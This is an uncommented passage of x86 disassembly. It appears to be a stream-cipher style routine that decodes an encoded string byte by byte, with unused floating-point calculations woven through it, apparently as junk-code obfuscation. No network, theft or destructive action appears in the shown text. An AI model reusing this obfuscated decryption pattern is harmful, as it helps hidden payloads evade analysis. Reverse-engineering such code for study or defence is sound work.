mov ecx, dword [ebp - 0x36d0]
shl ecx, 0
lea edx, [ebp - 0xf9c]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x48a8]
shl eax, 0
lea ecx, [ebp - 0xf9c]
mov edx, dword [ebp - 0x36d0]
shl edx, 0
lea esi, [ebp - 0xf9c]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x48a8]
shl ecx, 0
lea edx, [ebp - 0xf9c]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x36d0]
shl eax, 0
lea ecx, [ebp - 0xf9c]
mov edx, dword [ebp - 0x48a8]
shl edx, 0
lea esi, [ebp - 0xf9c]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x36d0]
shl ecx, 0
lea edx, [ebp - 0xf9c]
mov byte [ecx + edx], al
jmp 0x481513
mov eax, 1
shl eax, 0
lea ecx, [ebp - 0xf9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3572], dl
mov eax, 1
imul ecx, eax, 3
lea edx, [ebp - 0xf9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x358c], al
mov ecx, 1
imul edx, ecx, 5
lea eax, [ebp - 0xf9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3631], cl
mov edx, 1
imul eax, edx, 7
lea ecx, [ebp - 0xf9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x358d], dl
movzx eax, byte [ebp - 0x3776]
shl eax, 0
lea ecx, [ebp - 0xf9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35be], dl
movsd xmm0, qword [0x9dad48]
movsd qword [ebp - 0x57d4], xmm0
movsd xmm0, qword [0x9daa78]
movsd qword [ebp - 0x5dbc], xmm0
movsd xmm0, qword [0x9da7d8]
movsd qword [ebp - 0x5ae0], xmm0
movsd xmm0, qword [0x9da4e0]
movsd qword [ebp - 0x5038], xmm0
movsd xmm0, qword [ebp - 0x57d4]
addsd xmm0, qword [ebp - 0x5038]
movsd qword [ebp - 0x57d4], xmm0
movsd xmm0, qword [ebp - 0x5ae0]
subsd xmm0, qword [ebp - 0x5038]
movsd qword [ebp - 0x5ae0], xmm0
movsd xmm0, qword [ebp - 0x57d4]
subsd xmm0, qword [ebp - 0x5038]
movsd qword [ebp - 0x57d4], xmm0
movsd xmm0, qword [ebp - 0x5ae0]
mulsd xmm0, qword [ebp - 0x5038]
movsd qword [ebp - 0x5ae0], xmm0
movsd xmm0, qword [ebp - 0x5ae0]
comisd xmm0, xmmword [ebp - 0x5038]
jbe 0x48197b
movsd xmm0, qword [ebp - 0x57d4]
addsd xmm0, qword [ebp - 0x5ae0]
movsd qword [ebp - 0x57d4], xmm0
mov dword [ebp - 0x5d38], 0x1e
movsd xmm0, qword [ebp - 0x5038]
addsd xmm0, qword [ebp - 0x5dbc]
movsd qword [ebp - 0x5038], xmm0
movsd xmm0, qword [ebp - 0x5dbc]
subsd xmm0, qword [ebp - 0x5038]
movsd qword [ebp - 0x5dbc], xmm0
movsd xmm0, qword [ebp - 0x57d4]
addsd xmm0, qword [ebp - 0x5ae0]
movsd qword [ebp - 0x57d4], xmm0
jmp 0x4819db
movsd xmm0, qword [ebp - 0x5038]
divsd xmm0, qword [ebp - 0x5dbc]
movsd qword [ebp - 0x5038], xmm0
movsd xmm0, qword [ebp - 0x57d4]
divsd xmm0, qword [ebp - 0x5ae0]
movsd qword [ebp - 0x57d4], xmm0
movsd xmm0, qword [ebp - 0x5038]
divsd xmm0, qword [ebp - 0x5dbc]
movsd qword [ebp - 0x5038], xmm0
movsd xmm0, qword [ebp - 0x5038]
divsd xmm0, qword [ebp - 0x5dbc]
movsd qword [ebp - 0x5038], xmm0
cmp dword [ebp - 0x5d38], 2
jle 0x483b46
mov eax, dword [ebp - 0x5d38]
and eax, 1
jne 0x483b46
mov dword [ebp - 0x36d0], 0
mov dword [ebp - 0x38d8], 0
mov ecx, dword [ebp - 0x38d8]
add ecx, 1
mov dword [ebp - 0x38d8], ecx
mov dword [ebp - 0x3d80], 0
mov edx, dword [ebp - 0x36d0]
shl edx, 1
mov dword [ebp - 0x3d80], edx
mov dword [ebp - 0x3c04], 0
mov eax, dword [ebp - 0x3d80]
shl eax, 0
add eax, dword [ebp - 0x3dfc]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3c04]
mov dword [ebp - 0x3c04], ecx
mov dword [ebp - 0x3c08], 0
mov edx, dword [ebp - 0x3c08]
add edx, 0x37
mov dword [ebp - 0x3c08], edx
mov dword [ebp - 0x3d7c], 0
mov eax, dword [ebp - 0x36d0]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3d7c], eax
mov dword [ebp - 0x3c0c], 0
mov ecx, dword [ebp - 0x3d7c]
shl ecx, 0
add ecx, dword [ebp - 0x3dfc]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3c0c]
mov dword [ebp - 0x3c0c], edx
mov dword [ebp - 0x3c10], 0
mov eax, dword [ebp - 0x3c10]
add eax, 0xe3
mov dword [ebp - 0x3c10], eax
mov dword [ebp - 0x3c14], 0
mov ecx, dword [ebp - 0x3c04]
sub ecx, dword [ebp - 0x3c08]
add ecx, dword [ebp - 0x3c14]
mov dword [ebp - 0x3c14], ecx
mov dword [ebp - 0x3c18], 0
mov edx, dword [ebp - 0x3c0c]
sub edx, dword [ebp - 0x3c10]
add edx, dword [ebp - 0x3c18]
mov dword [ebp - 0x3c18], edx
mov dword [ebp - 0x3d78], 0
mov eax, dword [ebp - 0x3c14]
shl eax, 4
mov dword [ebp - 0x3d78], eax
mov dword [ebp - 0x3d74], 0
mov ecx, dword [ebp - 0x3c18]
mov dword [ebp - 0x3d74], ecx
mov dword [ebp - 0x3d70], 0
mov edx, dword [ebp - 0x3d78]
or edx, dword [ebp - 0x3d74]
mov dword [ebp - 0x3d70], edx
mov byte [ebp - 0x3632], 0
mov al, byte [ebp - 0x3d70]
mov byte [ebp - 0x3632], al
mov byte [ebp - 0x3630], 0
movzx ecx, byte [ebp - 0x35be]
shl ecx, 0
lea edx, [ebp - 0xf9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3630], al
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x358c]
add ecx, eax
mov byte [ebp - 0x358c], cl
mov dl, byte [ebp - 0x3572]
add dl, 1
mov byte [ebp - 0x3572], dl
movzx eax, byte [ebp - 0x358c]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [ebp - 0x35be]
shl edx, 0
lea esi, [ebp - 0xf9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x358d]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ebp - 0x358c]
shl eax, 0
lea esi, [ebp - 0xf9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3572]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ebp - 0x358d]
shl ecx, 0
lea esi, [ebp - 0xf9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea ecx, [ebp - 0xf9c]
mov dl, byte [ebp - 0x3630]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3630]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3631]
add eax, edx
mov byte [ebp - 0x3631], al
movzx ecx, byte [ebp - 0x3632]
movzx edx, byte [ebp - 0x358c]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea esi, [ebp - 0xf9c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x358d]
shl eax, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35be]
shl edx, 0
lea esi, [ebp - 0xf9c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3631]
shl edx, 0
lea esi, [ebp - 0xf9c]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x358d], cl
mov cl, byte [ebp - 0x3632]
mov byte [ebp - 0x35be], cl
mov dl, byte [ebp - 0x358d]
mov byte [ebp - 0x36fc], dl
cmp dword [ebp - 0x36d0], 0
jbe 0x481d5c
mov eax, dword [ebp - 0x36d0]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x634]
mov dl, byte [ebp - 0x36fc]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x36d0]
add eax, 1
mov dword [ebp - 0x36d0], eax
mov ecx, dword [ebp - 0x38d8]
add ecx, 1
mov dword [ebp - 0x38d8], ecx
mov edx, dword [ebp - 0x36d0]
shl edx, 1
mov dword [ebp - 0x3d80], edx
mov eax, dword [ebp - 0x3d80]
shl eax, 0
add eax, dword [ebp - 0x3dfc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c04], ecx
mov dword [ebp - 0x3c08], 0x37
mov edx, dword [ebp - 0x36d0]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3d7c], edx
mov eax, dword [ebp - 0x3d7c]
shl eax, 0
add eax, dword [ebp - 0x3dfc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c0c], ecx
mov dword [ebp - 0x3c10], 0xe3
mov edx, dword [ebp - 0x3c04]
sub edx, dword [ebp - 0x3c08]
mov dword [ebp - 0x3c14], edx
mov eax, dword [ebp - 0x3c0c]
sub eax, dword [ebp - 0x3c10]
mov dword [ebp - 0x3c18], eax
mov ecx, dword [ebp - 0x3c14]
shl ecx, 4
mov dword [ebp - 0x3d78], ecx
mov edx, dword [ebp - 0x3c18]
mov dword [ebp - 0x3d74], edx
mov eax, dword [ebp - 0x3d78]
or eax, dword [ebp - 0x3d74]
mov dword [ebp - 0x3d70], eax
mov cl, byte [ebp - 0x3d70]
mov byte [ebp - 0x3632], cl
movzx edx, byte [ebp - 0x35be]
shl edx, 0
lea eax, [ebp - 0xf9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3630], cl
movzx edx, byte [ebp - 0x3572]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x358c]
add edx, ecx
mov byte [ebp - 0x358c], dl
mov al, byte [ebp - 0x3572]
add al, 1
mov byte [ebp - 0x3572], al
movzx ecx, byte [ebp - 0x358c]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ebp - 0x35be]
shl eax, 0
lea esi, [ebp - 0xf9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x358d]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ebp - 0x358c]
shl ecx, 0
lea esi, [ebp - 0xf9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [ebp - 0x358d]
shl edx, 0
lea esi, [ebp - 0xf9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea edx, [ebp - 0xf9c]
mov al, byte [ebp - 0x3630]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3630]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3631]
add ecx, eax
mov byte [ebp - 0x3631], cl
movzx edx, byte [ebp - 0x3632]
movzx eax, byte [ebp - 0x358c]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea esi, [ebp - 0xf9c]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x358d]
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35be]
shl eax, 0
lea esi, [ebp - 0xf9c]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3631]
shl eax, 0
lea esi, [ebp - 0xf9c]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x358d], dl
mov dl, byte [ebp - 0x3632]
mov byte [ebp - 0x35be], dl
mov al, byte [ebp - 0x358d]
mov byte [ebp - 0x36fc], al
cmp dword [ebp - 0x36d0], 0
jbe 0x48201b
mov ecx, dword [ebp - 0x36d0]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x634]
mov al, byte [ebp - 0x36fc]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x38d8]
add ecx, 4
mov dword [ebp - 0x38d8], ecx
mov edx, dword [ebp - 0x36d0]
add edx, 1
mov dword [ebp - 0x4e20], edx
jmp 0x48204a
mov eax, dword [ebp - 0x4e20]
add eax, 1
mov dword [ebp - 0x4e20], eax
mov ecx, dword [ebp - 0x4e20]
cmp ecx, dword [ebp - 0x38d8]
jge 0x4827c1
mov edx, dword [ebp - 0x36d0]
add edx, 1
mov dword [ebp - 0x36d0], edx
mov eax, dword [ebp - 0x36d0]
shl eax, 1
mov dword [ebp - 0x3d80], eax
mov ecx, dword [ebp - 0x3d80]
shl ecx, 0
add ecx, dword [ebp - 0x3dfc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c04], edx
mov dword [ebp - 0x3c08], 0x37
mov eax, dword [ebp - 0x36d0]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3d7c], eax
mov ecx, dword [ebp - 0x3d7c]
shl ecx, 0
add ecx, dword [ebp - 0x3dfc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c0c], edx
mov dword [ebp - 0x3c10], 0xe3
mov eax, dword [ebp - 0x3c04]
sub eax, dword [ebp - 0x3c08]
mov dword [ebp - 0x3c14], eax
mov ecx, dword [ebp - 0x3c0c]
sub ecx, dword [ebp - 0x3c10]
mov dword [ebp - 0x3c18], ecx
mov edx, dword [ebp - 0x3c14]
shl edx, 4
mov dword [ebp - 0x3d78], edx
mov eax, dword [ebp - 0x3c18]
mov dword [ebp - 0x3d74], eax
mov ecx, dword [ebp - 0x3d78]
or ecx, dword [ebp - 0x3d74]
mov dword [ebp - 0x3d70], ecx
mov dl, byte [ebp - 0x3d70]
mov byte [ebp - 0x3632], dl
movsd xmm0, qword [0x9db008]
movsd qword [ebp - 0x5bc8], xmm0
movsd xmm0, qword [0x9dae78]
movsd qword [ebp - 0x6124], xmm0
movsd xmm0, qword [0x9daca8]
movsd qword [ebp - 0x5dc4], xmm0
movsd xmm0, qword [0x9daa80]
movsd qword [ebp - 0x611c], xmm0
movsd xmm0, qword [0x9da860]
movsd qword [ebp - 0x5388], xmm0
movsd xmm0, qword [0x9da620]
movsd qword [ebp - 0x5040], xmm0
movsd xmm0, qword [0x9da3f0]
movsd qword [ebp - 0x4b00], xmm0
movsd xmm0, qword [ebp - 0x5388]
subsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x5388], xmm0
movsd xmm0, qword [ebp - 0x5040]
mulsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x5040], xmm0
movsd xmm0, qword [ebp - 0x5040]
subsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x5040], xmm0
movsd xmm0, qword [ebp - 0x5388]
mulsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x5388], xmm0
movsd xmm0, qword [ebp - 0x5dc4]
addsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x5dc4], xmm0
movsd xmm0, qword [ebp - 0x5040]
addsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x5040], xmm0
movsd xmm0, qword [ebp - 0x611c]
mulsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x611c], xmm0
movsd xmm0, qword [ebp - 0x4b00]
comisd xmm0, xmmword [ebp - 0x611c]
jbe 0x482306
movsd xmm0, qword [ebp - 0x4b00]
mulsd xmm0, qword [ebp - 0x6124]
movsd qword [ebp - 0x4b00], xmm0
movsd xmm0, qword [ebp - 0x6124]
subsd xmm0, qword [ebp - 0x611c]
movsd qword [ebp - 0x6124], xmm0
movsd xmm0, qword [ebp - 0x5040]
mulsd xmm0, qword [ebp - 0x5bc8]
movsd qword [ebp - 0x5040], xmm0
movsd xmm0, qword [ebp - 0x5388]
mulsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x5388], xmm0
movsd xmm0, qword [ebp - 0x5040]
divsd xmm0, qword [ebp - 0x5bc8]
movsd qword [ebp - 0x5040], xmm0
movsd xmm0, qword [ebp - 0x5dc4]
divsd xmm0, qword [ebp - 0x5388]
movsd qword [ebp - 0x5dc4], xmm0
movsd xmm0, qword [ebp - 0x5dc4]
addsd xmm0, qword [ebp - 0x5388]
movsd qword [ebp - 0x5dc4], xmm0
jmp 0x4823c7
movsd xmm0, qword [ebp - 0x4b00]
mulsd xmm0, qword [ebp - 0x5bc8]
movsd qword [ebp - 0x4b00], xmm0
movzx eax, byte [ebp - 0x35be]
shl eax, 0
lea ecx, [ebp - 0xf9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3630], dl
movsd xmm0, qword [ebp - 0x5388]
mulsd xmm0, qword [ebp - 0x5040]
movsd qword [ebp - 0x5388], xmm0
movsd xmm0, qword [ebp - 0x4b00]
mulsd xmm0, qword [ebp - 0x5bc8]
movsd qword [ebp - 0x4b00], xmm0
movsd xmm0, qword [ebp - 0x4b00]
subsd xmm0, qword [ebp - 0x5bc8]
movsd qword [ebp - 0x4b00], xmm0
movsd xmm0, qword [ebp - 0x5388]
addsd xmm0, qword [ebp - 0x5040]
movsd qword [ebp - 0x5388], xmm0
movsd xmm0, qword [ebp - 0x5bc8]
mulsd xmm0, qword [ebp - 0x6124]
movsd qword [ebp - 0x5bc8], xmm0
movsd xmm0, qword [ebp - 0x5040]
mulsd xmm0, qword [ebp - 0x4b00]
movsd qword [ebp - 0x5040], xmm0
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x358c]
add eax, edx
mov byte [ebp - 0x358c], al
mov cl, byte [ebp - 0x3572]
add cl, 1
mov byte [ebp - 0x3572], cl
movsd xmm0, qword [0x9dad08]
movsd qword [ebp - 0x5048], xmm0
movsd xmm0, qword [0x9dab18]
movsd qword [ebp - 0x56e0], xmm0
movsd xmm0, qword [0x9da940]
movsd qword [ebp - 0x57e4], xmm0
movsd xmm0, qword [0x9da7b8]
movsd qword [ebp - 0x612c], xmm0
movsd xmm0, qword [0x9da5a0]
movsd qword [ebp - 0x5dcc], xmm0
movsd xmm0, qword [0x9da3c0]
movsd qword [ebp - 0x56d8], xmm0
movsd xmm0, qword [ebp - 0x5048]
mulsd xmm0, qword [ebp - 0x56d8]
movsd qword [ebp - 0x5048], xmm0
movsd xmm0, qword [ebp - 0x57e4]
mulsd xmm0, qword [ebp - 0x56d8]
movsd qword [ebp - 0x57e4], xmm0
movsd xmm0, qword [ebp - 0x5dcc]
addsd xmm0, qword [ebp - 0x56d8]
movsd qword [ebp - 0x5dcc], xmm0
movsd xmm0, qword [ebp - 0x5dcc]
subsd xmm0, qword [ebp - 0x56d8]
movsd qword [ebp - 0x5dcc], xmm0
movsd xmm0, qword [ebp - 0x56e0]
subsd xmm0, qword [ebp - 0x56d8]
movsd qword [ebp - 0x56e0], xmm0
movsd xmm0, qword [ebp - 0x56e0]
subsd xmm0, qword [ebp - 0x56d8]
movsd qword [ebp - 0x56e0], xmm0
movsd xmm0, qword [ebp - 0x5048]
comisd xmm0, xmmword [ebp - 0x56d8]
jbe 0x4825ba
movsd xmm0, qword [ebp - 0x5dcc]
subsd xmm0, qword [ebp - 0x5048]
movsd qword [ebp - 0x5dcc], xmm0
movsd xmm0, qword [ebp - 0x56e0]
mulsd xmm0, qword [ebp - 0x612c]
movsd qword [ebp - 0x56e0], xmm0
movsd xmm0, qword [ebp - 0x56e0]
subsd xmm0, qword [ebp - 0x612c]
movsd qword [ebp - 0x56e0], xmm0
movsd xmm0, qword [ebp - 0x5048]
subsd xmm0, qword [ebp - 0x57e4]
movsd qword [ebp - 0x5048], xmm0
movsd xmm0, qword [ebp - 0x5048]
subsd xmm0, qword [ebp - 0x57e4]
movsd qword [ebp - 0x5048], xmm0
movzx edx, byte [ebp - 0x358c]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ebp - 0x35be]
shl ecx, 0
lea esi, [ebp - 0xf9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movsd xmm0, qword [ebp - 0x5048]
addsd xmm0, qword [ebp - 0x57e4]
movsd qword [ebp - 0x5048], xmm0
jmp 0x48264a
movsd xmm0, qword [ebp - 0x56d8]
subsd xmm0, qword [ebp - 0x5048]
movsd qword [ebp - 0x56d8], xmm0
movsd xmm0, qword [ebp - 0x56d8]
addsd xmm0, qword [ebp - 0x5048]
movsd qword [ebp - 0x56d8], xmm0
movsd xmm0, qword [ebp - 0x5048]
subsd xmm0, qword [ebp - 0x56e0]
movsd qword [ebp - 0x5048], xmm0
movsd xmm0, qword [ebp - 0x57e4]
mulsd xmm0, qword [ebp - 0x612c]
movsd qword [ebp - 0x57e4], xmm0
movsd xmm0, qword [ebp - 0x56e0]
subsd xmm0, qword [ebp - 0x57e4]
movsd qword [ebp - 0x56e0], xmm0
movsd xmm0, qword [ebp - 0x57e4]
mulsd xmm0, qword [ebp - 0x612c]
movsd qword [ebp - 0x57e4], xmm0
movzx eax, byte [ebp - 0x358d]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [ebp - 0x358c]
shl edx, 0
lea esi, [ebp - 0xf9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ebp - 0x358d]
shl eax, 0
lea esi, [ebp - 0xf9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3572]
shl edx, 0
lea eax, [ebp - 0xf9c]
mov cl, byte [ebp - 0x3630]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3630]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3631]
add edx, ecx
mov byte [ebp - 0x3631], dl
movzx eax, byte [ebp - 0x3632]
movzx ecx, byte [ebp - 0x358c]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3572]
shl edx, 0
lea esi, [ebp - 0xf9c]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x358d]
shl edx, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35be]
shl ecx, 0
lea esi, [ebp - 0xf9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3631]
shl ecx, 0
lea esi, [ebp - 0xf9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x358d], al
mov al, byte [ebp - 0x3632]
mov byte [ebp - 0x35be], al
mov cl, byte [ebp - 0x358d]
mov byte [ebp - 0x36fc], cl
cmp dword [ebp - 0x36d0], 0
jbe 0x4827bc
mov edx, dword [ebp - 0x36d0]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x634]
mov cl, byte [ebp - 0x36fc]
mov byte [edx + eax], cl
jmp 0x48203b
mov edx, dword [ebp - 0x38d8]
add edx, 1
mov dword [ebp - 0x38d8], edx
mov eax, dword [ebp - 0x36d0]
add eax, 1
mov dword [ebp - 0x36d0], eax
mov ecx, dword [ebp - 0x38d8]
add ecx, 1
mov dword [ebp - 0x38d8], ecx
mov edx, dword [ebp - 0x36d0]
shl edx, 1
mov dword [ebp - 0x3d80], edx
mov eax, dword [ebp - 0x3d80]
shl eax, 0
add eax, dword [ebp - 0x3dfc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c04], ecx
mov dword [ebp - 0x3c08], 0x37
mov edx, dword [ebp - 0x36d0]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3d7c], edx
mov eax, dword [ebp - 0x3d7c]
shl eax, 0
add eax, dword [ebp - 0x3dfc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c0c], ecx
mov dword [ebp - 0x3c10], 0xe3
mov edx, dword [ebp - 0x3c04]
sub edx, dword [ebp - 0x3c08]
mov dword [ebp - 0x3c14], edx
mov eax, dword [ebp - 0x3c0c]
sub eax, dword [ebp - 0x3c10]
mov dword [ebp - 0x3c18], eax
mov ecx, dword [ebp - 0x3c14]
shl ecx, 4
mov dword [ebp - 0x3d78], ecx
mov edx, dword [ebp - 0x3c18]
mov dword [ebp - 0x3d74], edx
mov eax, dword [ebp - 0x3d78]
or eax, dword [ebp - 0x3d74]
mov dword [ebp - 0x3d70], eax
mov cl, byte [ebp - 0x3d70]
mov byte [ebp - 0x3632], cl
movzx edx, byte [ebp - 0x35be]
shl edx, 0
lea eax, [ebp - 0xf9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3630], cl
movzx edx, byte [ebp - 0x3572]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x358c]
add edx, ecx
mov byte [ebp - 0x358c], dl
mov al, byte [ebp - 0x3572]
add al, 1
mov byte [ebp - 0x3572], al
movzx ecx, byte [ebp - 0x358c]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ebp - 0x35be]
shl eax, 0
lea esi, [ebp - 0xf9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x358d]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ebp - 0x358c]
shl ecx, 0
lea esi, [ebp - 0xf9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3572]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx edx, byte [ebp - 0x358d]
shl edx, 0
lea esi, [ebp - 0xf9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea edx, [ebp - 0xf9c]
mov al, byte [ebp - 0x3630]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3630]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3631]
add ecx, eax
mov byte [ebp - 0x3631], cl
movzx edx, byte [ebp - 0x3632]
movzx eax, byte [ebp - 0x358c]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3572]
shl ecx, 0
lea esi, [ebp - 0xf9c]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x358d]
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35be]
shl eax, 0
lea esi, [ebp - 0xf9c]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3631]
shl eax, 0
lea esi, [ebp - 0xf9c]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x358d], dl
mov dl, byte [ebp - 0x3632]
mov byte [ebp - 0x35be], dl
mov al, byte [ebp - 0x358d]
mov byte [ebp - 0x36fc], al
cmp dword [ebp - 0x36d0], 0
jbe 0x482a8f
mov ecx, dword [ebp - 0x36d0]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x634]
mov al, byte [ebp - 0x36fc]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x36d0]
add ecx, 1
mov dword [ebp - 0x36d0], ecx
mov edx, dword [ebp - 0x38d8]
add edx, 1
mov dword [ebp - 0x38d8], edx
mov eax, dword [ebp - 0x36d0]
shl eax, 1
mov dword [ebp - 0x3d80], eax
mov ecx, dword [ebp - 0x3d80]
shl ecx, 0
